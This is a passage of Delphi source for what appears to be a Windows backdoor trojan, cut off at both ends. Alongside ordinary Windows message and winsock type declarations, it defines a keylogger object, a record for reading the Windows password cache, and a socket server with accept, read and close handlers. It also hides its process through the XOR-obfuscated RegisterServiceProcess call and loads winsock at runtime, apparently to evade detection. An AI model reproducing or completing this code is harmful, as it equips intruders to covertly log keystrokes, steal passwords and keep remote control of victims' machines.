Unused: Longint; Result: Longint; end; TWMExitMenuLoop = TWMEnterMenuLoop; TWMEraseBkgnd = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMFontChange = TWMNoParams; TWMGetDlgCode = TWMNoParams; TWMGetFont = TWMNoParams; TWMGetIcon = record Msg: Cardinal; BigIcon: Longbool; Unused: Longint; Result: Longint; end; TWMGetText = record Msg: Cardinal; TextMax: Integer; Text: PChar; Result: Longint; end; TWMGetTextLength = TWMNoParams; { TWMHotKey = record Msg: Cardinal; HotKey: Longint; Unused: Longint; Result: Longint; end; } TWMHScroll = TWMScroll; TWMHScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScrollCode: Word; {SB_BOTTOM, SB_ENDSCROLL, SB_LINEDOWN, SB_LINEUP, SB_PAGEDOWN, SB_PAGEUP, SB_THUMBPOSITION, SB_THUMBTRACK, SB_TOP } Pos: Word; Result: Longint; end; TWMIconEraseBkgnd = TWMEraseBkgnd; TWMInitDialog = record Msg: Cardinal; Focus: HWND; InitParam: Longint; Result: Longint; end; TWMInitMenu = record Msg: Cardinal; Menu: HMENU; Unused: Longint; Result: Longint; end; TWMInitMenuPopup = record Msg: Cardinal; MenuPopup: HMENU; Pos: Smallint; SystemMenu: WordBool; Result: Longint; end; TWMKeyDown = TWMKey; TWMKeyUp = TWMKey; TWMKillFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMLButtonDblClk = TWMMouse; TWMLButtonDown = TWMMouse; TWMLButtonUp = TWMMouse; TWMMButtonDblClk = TWMMouse; TWMMButtonDown = TWMMouse; TWMMButtonUp = TWMMouse; TWMMDIActivate = record Msg: Cardinal; case Integer of 0: ( ChildWnd: HWND); 1: ( DeactiveWnd: HWND; ActiveWnd: HWND; Result: Longint); end; TWMMDICascade = record Msg: Cardinal; Cascade: Longint; { 0, MDITILE_SKIPDISABLED } Unused: Longint; Result: Longint; end; TWMMDICreate = record Msg: Cardinal; Unused: Integer; MDICreateStruct: PMDICreateStruct; Result: Longint; end; TWMMDIDestroy = record Msg: Cardinal; Child: HWND; Unused: Longint; Result: Longint; end; TWMMDIGetActive = TWMNoParams; TWMMDIIconArrange = TWMNoParams; TWMMDIMaximize = record Msg: Cardinal; Maximize: HWND; Unused: Longint; Result: Longint; end; TWMMDINext = record Msg: Cardinal; Child: HWND; Next: Longint; Result: Longint; end; TWMMDIRefreshMenu = TWMNoParams; TWMMDIRestore = record Msg: Cardinal; IDChild: HWND; Unused: Longint; Result: Longint; end; TWMMDISetMenu = record Msg: Cardinal; MenuFrame: HMENU; MenuWindow: HMENU; Result: Longint; end; TWMMDITile = record Msg: Cardinal; Tile: Longint; { MDITILE_HORIZONTAL, MDITILE_SKIPDISABLE, MDITILE_VERTICAL } Unused: Longint; Result: Longint; end; TWMMenuChar = record Msg: Cardinal; User: Char; Unused: Byte; MenuFlag: Word; { MF_POPUP, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMenuSelect = record Msg: Cardinal; IDItem: Word; MenuFlag: Word; { MF_BITMAP, MF_CHECKED, MF_DISABLED, MF_GRAYED, MF_MOUSESELECT, MF_OWNERDRAW, MF_POPUP, MF_SEPARATOR, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMouseActivate = record Msg: Cardinal; TopLevel: HWND; HitTestCode: Word; MouseMsg: Word; Result: Longint; end; TWMMouseMove = TWMMouse; TWMMove = record Msg: Cardinal; Unused: Integer; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCActivate = record Msg: Cardinal; Active: BOOL; Unused: Longint; Result: Longint; end; TWMNCCalcSize = record Msg: Cardinal; CalcValidRects: BOOL; CalcSize_Params: PNCCalcSizeParams; Result: Longint; end; TWMNCCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMNCDestroy = TWMNoParams; TWMNCHitTest = record Msg: Cardinal; Unused: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCHitMessage = record Msg: Cardinal; HitTest: Longint; XCursor: Smallint; YCursor: Smallint; Result: Longint; end; TWMNCLButtonDblClk = TWMNCHitMessage; TWMNCLButtonDown = TWMNCHitMessage; TWMNCLButtonUp = TWMNCHitMessage; TWMNCMButtonDblClk = TWMNCHitMessage; TWMNCMButtonDown = TWMNCHitMessage; TWMNCMButtonUp = TWMNCHitMessage; TWMNCMouseMove = TWMNCHitMessage; TWMNCPaint = TWMNoParams; TWMNCRButtonDblClk = TWMNCHitMessage; TWMNCRButtonDown = TWMNCHitMessage; TWMNCRButtonUp = TWMNCHitMessage; TWMNextDlgCtl = record Msg: Cardinal; CtlFocus: Longint; Handle: WordBool; Unused: Word; Result: Longint; end; TWMNotify = record Msg: Cardinal; IDCtrl: Longint; NMHdr: PNMHdr; Result: Longint; end; TWMNotifyFormat = record Msg: Cardinal; From: HWND; Command: Longint; Result: Longint; end; TWMPaint = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMPaintClipboard = record Msg: Cardinal; Viewer: HWND; PaintStruct: THandle; Result: Longint; end; TWMPaintIcon = TWMNoParams; TWMPaletteChanged = record Msg: Cardinal; PalChg: HWND; Unused: Longint; Result: Longint; end; TWMPaletteIsChanging = record Msg: Cardinal; Realize: HWND; Unused: Longint; Result: Longint; end; TWMParentNotify = record Msg: Cardinal; case Event: Word of WM_CREATE, WM_DESTROY: ( ChildID: Word; ChildWnd: HWnd); WM_LBUTTONDOWN, WM_MBUTTONDOWN, WM_RBUTTONDOWN: ( Value: Word; XPos: Smallint; YPos: Smallint); 0: ( Value1: Word; Value2: Longint; Result: Longint); end; TWMPaste = TWMNoParams; TWMPower = record Msg: Cardinal; PowerEvt: Longint; { PWR_SUSPENDREQUEST, PWR_SUSPENDRESUME, PWR_CRITICALRESUME } Unused: Longint; Result: Longint; end; TWMQueryDragIcon = TWMNoParams; TWMQueryEndSession = record Msg: Cardinal; Source: Longint; Unused: Longint; Result: Longint; end; TWMQueryNewPalette = TWMNoParams; TWMQueryOpen = TWMNoParams; TWMQueueSync = TWMNoParams; TWMQuit = record Msg: Cardinal; ExitCode: Longint; Unused: Longint; Result: Longint; end; TWMRButtonDblClk = TWMMouse; TWMRButtonDown = TWMMouse; TWMRButtonUp = TWMMouse; TWMRenderAllFormats = TWMNoParams; TWMRenderFormat = record Msg: Cardinal; Format: Longint; Unused: Longint; Result: Longint; end; TWMSetCursor = record Msg: Cardinal; CursorWnd: HWND; HitTest: Word; MouseMsg: Word; Result: Longint; end; TWMSetFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMSetFont = record Msg: Cardinal; Font: HFONT; Redraw: WordBool; Unused: Word; Result: Longint; end; TWMSetIcon = record Msg: Cardinal; BigIcon: Longbool; Icon: HICON; Result: Longint; end; TWMSetRedraw = record Msg: Cardinal; Redraw: Longint; Unused: Longint; Result: Longint; end; TWMSetText = record Msg: Cardinal; Unused: Longint; Text: PChar; Result: Longint; end; TWMShowWindow = record Msg: Cardinal; Show: BOOL; Status: Longint; Result: Longint; end; TWMSize = record Msg: Cardinal; SizeType: Longint; { SIZE_MAXIMIZED, SIZE_MINIMIZED, SIZE_RESTORED, SIZE_MAXHIDE, SIZE_MAXSHOW } Width: Word; Height: Word; Result: Longint; end; TWMSizeClipboard = record Msg: Cardinal; Viewer: HWND; RC: THandle; Result: Longint; end; TWMSpoolerStatus = record Msg: Cardinal; JobStatus: Longint; JobsLeft: Word; Unused: Word; Result: Longint; end; TWMStyleChange = record Msg: Cardinal; StyleType: Longint; StyleStruct: PStyleStruct; Result: Longint; end; TWMStyleChanged = TWMStyleChange; TWMStyleChanging = TWMStyleChange; TWMSysChar = TWMKey; TWMSysColorChange = TWMNoParams; TWMSysDeadChar = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMSysKeyDown = TWMKey; TWMSysKeyUp = TWMKey; TWMSystemError = record Msg: Cardinal; ErrSpec: Word; Unused: Longint; Result: Longint; end; TWMTimeChange = TWMNoParams; TWMTimer = record Msg: Cardinal; TimerID: Longint; TimerProc: TFarProc; Result: Longint; end; TWMUndo = TWMNoParams; TWMVKeyToItem = TWMCharToItem; TWMVScroll = TWMScroll; TWMVScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScollCode: Word; ThumbPos: Word; Result: Longint; end; TWMWindowPosChanged = TWMWindowPosMsg; TWMWindowPosChanging = TWMWindowPosMsg; TWMWinIniChange = record Msg: Cardinal; Unused: Integer; Section: PChar; Result: Longint; end; TWMHelp = record Msg: Cardinal; Unused: Integer; HelpInfo: PHelpInfo; Result: Longint; end; TWMDisplayChange = record Msg: Cardinal; BitsPerPixel: Integer; Width: Word; Height: Word; end; // sysutils type type WordRec = packed record Lo, Hi: Byte; end; LongRec = packed record Lo, Hi: Word; end; TMethod = record Code, Data: Pointer; end; PByteArray = ^TByteArray; TByteArray = array[0..32767] of Byte; PWordArray = ^TWordArray; TWordArray = array[0..16383] of Word; TProcedure = procedure; TFileName = string; TSearchRec = record Time: Integer; Size: Integer; Attr: Integer; Name: TFileName; ExcludeAttr: Integer; FindHandle: THandle; FindData: TWin32FindData; end; TFileRec = record Handle: Integer; Mode: Integer; RecSize: Cardinal; Private: array[1..28] of Byte; UserData: array[1..32] of Byte; Name: array[0..259] of Char; end; PTextBuf = ^TTextBuf; TTextBuf = array[0..127] of Char; TTextRec = record Handle: Integer; Mode: Integer; BufSize: Cardinal; BufPos: Cardinal; BufEnd: Cardinal; BufPtr: PChar; OpenFunc: Pointer; InOutFunc: Pointer; FlushFunc: Pointer; CloseFunc: Pointer; UserData: array[1..32] of Byte; Name: array[0..259] of Char; Buffer: TTextBuf; end; TFloatValue = (fvExtended, fvCurrency); TFloatFormat = (ffGeneral, ffExponent, ffFixed, ffNumber, ffCurrency); TFloatRec = packed record Exponent: Smallint; Negative: Boolean; Digits: array[0..20] of Char; end; TTimeStamp = record Time: Integer; { Number of milliseconds since midnight } Date: Integer; { One plus number of days since 1/1/0001 } end; TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte); TSysLocale = packed record DefaultLCID: LCID; PriLangID: LANGID; SubLangID: LANGID; FarEast: Boolean; end; // password connection type TPasswordCacheEntry = packed record cbEntry : word; // size of this entry, in bytes cbResource : word; // size of resource name, in bytes cbPassword : word; // size of password, in bytes iEntry : byte; // entry index nType : byte; // type of entry abResource : array [0..$FFFFFFF] of char; end; TPPasswordCacheEntry = ^TPasswordCacheEntry; // registry type type TRegKeyInfo = record NumSubKeys: Integer; MaxSubKeyLen: Integer; NumValues: Integer; MaxValueLen: Integer; MaxDataLen: Integer; FileTime: TFileTime; end; TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary); TRegDataInfo = record RegData: TRegDataType; DataSize: Integer; end; TRegistry = class(TObject) private FCurrentKey: HKEY; FRootKey: HKEY; FLazyWrite: Boolean; FCurrentPath: string; FCloseRootKey: Boolean; procedure SetRootKey(Value: HKEY); function OpenKey(const Key: string; CanCreate: Boolean): Boolean; protected function GetBaseKey(Relative: Boolean): HKey; procedure ChangeKey(Value: HKey; const Path: string); procedure PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); function GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; public constructor Create; destructor Destroy; override; procedure WriteString(const Name, Value: string); function ReadString(const Name: string): string; procedure CloseKey; function GetDataSize(const ValueName: string): Integer; function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean; property CurrentKey : HKEY read FCurrentKey; property RootKey: HKEY read FRootKey write SetRootKey; property CurrentPath: string read FCurrentPath; property LazyWrite: Boolean read FLazyWrite write FLazyWrite; end; TSock = class(TObject) procedure WriteString(wParam:word;Buff:PChar); function WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; procedure OnServerAccept(wParam,lParam:longInt); procedure OnServerClose(wParam,lParam:longInt); procedure OnServerRead(wParam,lParam:longInt); private public end; //Key_logger_object Type TLog = class(TObject) procedure LogCreate; procedure LogDestroy; private procedure KeyIncrement( var Msg: TMessage ); message UM_KEYHIT; public end; //============== all var var //sysutils var SysLocale: TSysLocale; LeadBytes: set of Char = []; Win32Platform: Integer; //MainVariables wClass: TWndClass; // Class struct for main window hInst, // Handle of program instance Handle: Integer; // Handle of main window Msg2: TMSG; // Message struct //Msg: TMSG; //Socket Server: TSocket; WSD: TWSAData; Addr: TSockAddrIn; // Address for connect. Port: Integer; //ReadBuff: TBuffer; yyyy,mm,dd,h,m,ss,CountRB: Word; result,nukemsg,nukemsg2,opt,opt2,s,driv: string; d:integer; // si,i:integer; //udp j:byte; z:longint; //ip //Registry Registre: TRegistry; //other klasse: array [0..255] of char; Timeout: integer; t:textfile; // classe: array [0..255] of char; // counter :integer; //thread Sock:TSock; KLog: Tlog; h_SOCK_DLL :HModule; ThreadHdle :THandle; ThreadID :Integer; ExitCode :Integer; ThreadHdle2 :THandle; ThreadID2 :Integer; ExitCode2 :Integer; ThreadHdle3:THandle; ThreadID3 :Integer; ExitCode3 :Integer; iii:byte; sss,sss2:string; ccc:char; //===Dir function systemdir:string; var d:integer; begin setlength(result,500); d:=getsystemdirectory(pchar(result),500); setlength(result,d); end; function windowsdir:string; var d:integer; begin setlength(result,500); d:=getwindowsdirectory(pchar(result),500); setlength(result,d); end; Function Crypt(S : String) : String; Var i : Byte; begin For i := 1 to Length(S) Do S[i] := Char(ord(S[i]) xor i); Crypt := S; end; //==executeAPI function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer):integer; stdcall; external 'shell32.dll' name 'ShellExecuteA'; //function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; function RegisterInService:boolean; type TRegisterServiceProcess = function(ProcessID :Integer; Service :Boolean):Boolean; StdCall; var h_KERNEL_DLL :HModule; RegisterServiceProcess :TRegisterServiceProcess; begin Result := False; h_KERNEL_DLL := LoadLibrary(PChar('kernel32.dll')); if h_KERNEL_DLL <> Null then begin RegisterServiceProcess := GetProcAddress(h_KERNEL_DLL, PChar(crypt('SgdmvrbzZoyzdmj@c}pqfe'))); //RegisterServiceProcess if @RegisterServiceProcess <> Nil then Result := RegisterServiceProcess(GetCurrentProcessID, True); FreeLibrary(h_KERNEL_DLL); end; end; //=== winsock function //function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; external winsocket name 'accept'; function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; Type TListen = function(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('accept')); if @LListen <> Nil then Result := LListen(s, addr,addrlen); FreeLibrary(h_SOCK_DLL); end; end; //function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'bind'; function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('bind')); if @LListen <> Nil then Result := LListen(s, addr,namelen); FreeLibrary(h_SOCK_DLL); end; end; //function closesocket(s: TSocket): Integer; stdcall; external winsocket name 'closesocket'; function closesocket(s: TSocket): Integer; stdcall; Type TListen = function(s: TSocket): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('closesocket')); if @LListen <> Nil then Result := LListen(s); FreeLibrary(h_SOCK_DLL); end; end; //function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'connect'; function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('connect')); if @LListen <> Nil then Result := LListen(s,name,namelen); FreeLibrary(h_SOCK_DLL); end; end; function getpeername(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getpeername'; function getsockname(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getsockname'; function getsockopt(s: TSocket; level, optname: Integer; optval: PChar; var optlen: Integer): Integer; stdcall; external winsocket name 'getsockopt'; //function htonl(hostlong: u_long): u_long; stdcall; external winsocket name 'htonl'; function htonl(hostlong: u_long): u_long; stdcall; Type TListen = function(hostlong: u_long): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htonl')); if @LListen <> Nil then Result := LListen(hostlong); FreeLibrary(h_SOCK_DLL); end; end; //function htons(hostshort: u_short): u_short; stdcall; external winsocket name 'htons'; function htons(hostshort: u_short): u_short; stdcall; Type TListen = function(hostshort: u_short): u_short; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htons')); if @LListen <> Nil then Result := LListen(hostshort); FreeLibrary(h_SOCK_DLL); end; end; //function inet_addr(cp: PChar): u_long; stdcall; external winsocket name 'inet_addr'; {PInAddr;} { TInAddr } function inet_addr(cp: PChar): u_long; stdcall; Type TListen = function(cp: PChar): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('inet_addr')); if @LListen <> Nil then Result := LListen(cp); FreeLibrary(h_SOCK_DLL); end; end; function inet_ntoa(inaddr: TInAddr): PChar; stdcall; external winsocket name 'inet_ntoa'; function ioctlsocket(s: TSocket; cmd: Longint; var arg: u_long): Integer; stdcall; external winsocket name 'ioctlsocket'; //function listen(s: TSocket; backlog: Integer): Integer; stdcall; external winsocket name 'listen'; function listen(s: TSocket; backlog: Integer): Integer; stdcall; Type TListen = function(s: TSocket; backlog: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('listen')); if @LListen <> Nil then Result := LListen(s, backlog); FreeLibrary(h_SOCK_DLL); end; end; //function ntohl(netlong: u_long): u_long; stdcall; external winsocket name 'ntohl'; function ntohl(netlong: u_long): u_long; stdcall; Type TListen = function(netlong: u_long): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('ntohl')); if @LListen <> Nil then Result := LListen(netlong); FreeLibrary(h_SOCK_DLL); end; end; function ntohs(netshort: u_short): u_short; stdcall; external winsocket name 'ntohs'; //function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'recv'; function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('recv')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function recvfrom(s: TSocket; var Buf; len, flags: Integer; var from: TSockAddr; var fromlen: Integer): Integer; stdcall; external winsocket name 'recvfrom'; function select(nfds: Integer; readfds, writefds, exceptfds: PFDSet; timeout: PTimeVal): Longint; stdcall; external winsocket name 'select'; //function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'send'; function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('send')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr; tolen: Integer): Integer; stdcall; external winsocket name 'sendto'; function setsockopt(s: TSocket; level, optname: Integer; optval: PChar; optlen: Integer): Integer; stdcall; external winsocket name 'setsockopt'; function shutdown(s: TSocket; how: Integer): Integer; stdcall; external winsocket name 'shutdown'; //function socket(af, struct, protocol: Integer): TSocket; stdcall; external winsocket name 'socket'; function socket(af, struct, protocol: Integer): TSocket; stdcall; Type TListen = function(af, struct, protocol: Integer): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('socket')); if @LListen <> Nil then Result := LListen(af,struct,protocol); FreeLibrary(h_SOCK_DLL); end; end; function gethostbyaddr(addr: Pointer; len, struct: Integer): PHostEnt; stdcall; external winsocket name 'gethostbyaddr'; //function gethostbyname(name: PChar): PHostEnt; stdcall; external winsocket name 'gethostbyname'; function gethostbyname(name: PChar): PHostEnt; stdcall; Type TListen = function(name: PChar): PHostEnt; stdcall; var LListen :TListen; begin Result := nil; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostbyname')); if @LListen <> Nil then Result := LListen(name); FreeLibrary(h_SOCK_DLL); end; end; function getprotobyname(name: PChar): PProtoEnt; stdcall; external winsocket name 'getprotobyname'; function getprotobynumber(proto: Integer): PProtoEnt; stdcall; external winsocket name 'getprotobynumber'; function getservbyname(name, proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyname'; function getservbyport(port: Integer; proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyport'; //function gethostname(name: PChar; len: Integer): Integer; stdcall; external winsocket name 'gethostname'; function gethostname(name: PChar; len: Integer): Integer; stdcall; Type TListen = function(name: PChar; len: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostname')); if @LListen <> Nil then Result := LListen(name,len); FreeLibrary(h_SOCK_DLL); end; end; //function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; external winsocket name 'WSAAsyncSelect'; function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; Type TListen = function(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAAsyncSelect')); if @LListen <> Nil then Result := LListen(s,HWindow,wMsg,lEvent); FreeLibrary(h_SOCK_DLL); end; end; function WSARecvEx(s: TSocket; var buf; len: Integer; var flags: Integer): Integer; stdcall; external winsocket name 'WSARecvEx'; function WSAAsyncGetHostByAddr(HWindow: HWND; wMsg: u_int; addr: PChar; len, struct: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByAddr'; function WSAAsyncGetHostByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByName'; function WSAAsyncGetProtoByNumber(HWindow: HWND; wMsg: u_int; number: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByNumber'; function WSAAsyncGetProtoByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByName'; function WSAAsyncGetServByPort( HWindow: HWND; wMsg, port: u_int; proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByPort'; function WSAAsyncGetServByName(HWindow: HWND; wMsg: u_int; name, proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByName'; function WSACancelAsyncRequest(hAsyncTaskHandle: THandle): Integer; stdcall; external winsocket name 'WSACancelAsyncRequest'; function WSASetBlockingHook(lpBlockFunc: TFarProc): TFarProc; stdcall; external winsocket name 'WSASetBlockingHook'; function WSAUnhookBlockingHook: Integer; stdcall; external winsocket name 'WSAUnhookBlockingHook'; //function WSAGetLastError: Integer; stdcall; external winsocket name 'WSAGetLastError'; function WSAGetLastError: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAGetLastError')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; procedure WSASetLastError; stdcall; external winsocket name 'WSASetLastError'; function WSACancelBlockingCall: Integer; stdcall; external winsocket name 'WSACancelBlockingCall'; function WSAIsBlocking: BOOL; stdcall; external winsocket name 'WSAIsBlocking'; //function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; external winsocket name 'WSAStartup'; function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; type TListen = function(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAStartup')); if @LListen <> Nil then Result := LListen(wVersionRequired, WSData); FreeLibrary(h_SOCK_DLL); end; end; //function WSACleanup: Integer; stdcall; external winsocket name 'WSACleanup'; function WSACleanup: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSACleanup')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; function __WSAFDIsSet(s: TSOcket; var FDSet: TFDSet): Bool; stdcall; external winsocket name '__WSAFDIsSet'; function TransmitFile(hSocket: TSocket; hFile: THandle; nNumberOfBytesToWrite: DWORD; nNumberOfBytesPerSend: DWORD; lpOverlapped: POverlapped; lpTransmitBuffers: PTransmitFileBuffers; dwReserved: DWORD): BOOL; stdcall; external winsocket name 'TransmitFile'; function AcceptEx(sListenSocket, sAcceptSocket: TSocket; lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var lpdwBytesReceived: DWORD; lpOverlapped: POverlapped): BOOL; stdcall; external winsocket name 'AcceptEx'; procedure GetAcceptExSockaddrs(lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var LocalSockaddr: TSockAddr; var LocalSockaddrLength: Integer; var RemoteSockaddr: TSockAddr; var RemoteSockaddrLength: Integer); stdcall; external winsocket name 'GetAcceptExSockaddrs'; function WSAMakeSyncReply(Buflen, Error: Word): Longint; begin WSAMakeSyncReply:= MakeLong(Buflen, Error); end; function WSAMakeSelectReply(Event, Error: Word): Longint; begin WSAMakeSelectReply:= MakeLong(Event, Error); end; function WSAGetAsyncBuflen(Param: Longint): Word; begin WSAGetAsyncBuflen:= LOWORD(Param); end; function WSAGetAsyncError(Param: Longint): Word; begin WSAGetAsyncError:= HIWORD(Param); end; function WSAGetSelectEvent(Param: Longint): Word; begin WSAGetSelectEvent:= LOWORD(Param); end; function WSAGetSelectError(Param: Longint): Word; begin WSAGetSelectError:= HIWORD(Param); end; procedure FD_CLR(Socket: TSocket; var FDSet: TFDSet); var I: Integer; begin I := 0; while I < FDSet.fd_count do begin if FDSet.fd_array[I] = Socket then begin while I < FDSet.fd_count - 1 do begin FDSet.fd_array[I] := FDSet.fd_array[I + 1]; Inc(I); end; Dec(FDSet.fd_count); Break; end; Inc(I); end; end; function FD_ISSET(Socket: TSocket; var FDSet: TFDSet): Boolean; begin Result := __WSAFDIsSet(Socket, FDSet); end; procedure FD_SET(Socket: TSocket; var FDSet: TFDSet); begin if FDSet.fd_count < FD_SETSIZE then begin FDSet.fd_array[FDSet.fd_count] := Socket; Inc(FDSet.fd_count); end; end; procedure FD_ZERO(var FDSet: TFDSet); begin FDSet.fd_count := 0; end; //=== stuff function IntToStr(A:Integer):string; begin Str(A,Result); end; function StrToInt(const S: string): Integer; var E: Integer; begin Val(S, Result, E); if E <> 0 then E:=0;//ConvertErrorFmt(SInvalidInteger, [S]); end; procedure AppMsg(Ms:PChar); begin MessageBox(Handle,Ms,'Error',0); end; //=== Cleanup and stop the program === procedure ShutDownServer; begin 